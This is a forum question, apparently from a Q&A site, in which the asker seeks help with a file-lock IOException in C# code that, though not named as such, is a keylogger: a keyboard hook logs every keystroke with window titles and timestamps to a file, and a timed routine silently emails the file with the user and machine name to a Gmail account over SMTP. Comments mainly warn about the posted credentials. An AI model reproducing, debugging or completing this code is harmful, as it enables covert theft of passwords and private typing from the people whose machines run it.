【发布时间】:2017-03-14 15:23:54
【问题描述】:
我的代码出现新问题,昨晚工作 100%。今天早上它给了我一些问题。 (没有改变)
当我运行代码将文件发送到 Gmail 时,我得到一个
System.IO.IOException 发生 HResult=0x80070020
但是当我注释掉电子邮件的发送时(见代码)它工作正常。我不确定发生了什么。
代码:
public static void sendEMailThroughGmail(Object source, ElapsedEventArgs e)
{
try
{
MailMessage mM = new MailMessage();
mM.From = new MailAddress("username@gmail.com");
mM.To.Add("username@gmail.com");
mM.Subject = Environment.UserName + " / " + Environment.MachineName;
mM.Attachments.Add(new Attachment(path));
mM.Body = "Nothing";
mM.IsBodyHtml = true;
SmtpClient sC = new SmtpClient("smtp.gmail.com");
sC.Port = 587;
sC.Credentials = new NetworkCredential("username@gmail.com", "password");
sC.EnableSsl = true;
sC.Send(mM);
}
catch (Exception)
{
}
//File.Delete(path);
}
写入文件的程序的另一部分是
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
int KeyCode = Marshal.ReadInt32(lParam);
using (StreamWriter sw = new StreamWriter(path, true))
{
sw.AutoFlush = true;
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
if (!string.IsNullOrEmpty(active) && active != getTitle())
{
active = getTitle();
sw.WriteLine();
sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " - ");
sw.Write((Keys)KeyCode);
}
else if (string.IsNullOrEmpty(active))
{
active = getTitle();
//sw.WriteLine();
sw.WriteLine("Time: " + DateTime.Now.ToShortTimeString() + " Date: " + DateTime.Now.ToShortDateString() + " Window: " + active + " - ");
sw.Write((Keys)KeyCode);
}
else
{
sw.Write((Keys)KeyCode);
}
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
【问题讨论】:
-
请edit您的问题删除敏感信息
-
我没有看到分配给
path的任务,它存在吗?还有,这是正确的电子邮件地址和密码吗? -
删除凭证部分...你会被劫持
-
他现在应该删除它。
-
@vipersassassin 你不应该尝试登录他的帐户!即使他愚蠢到公开发布凭据。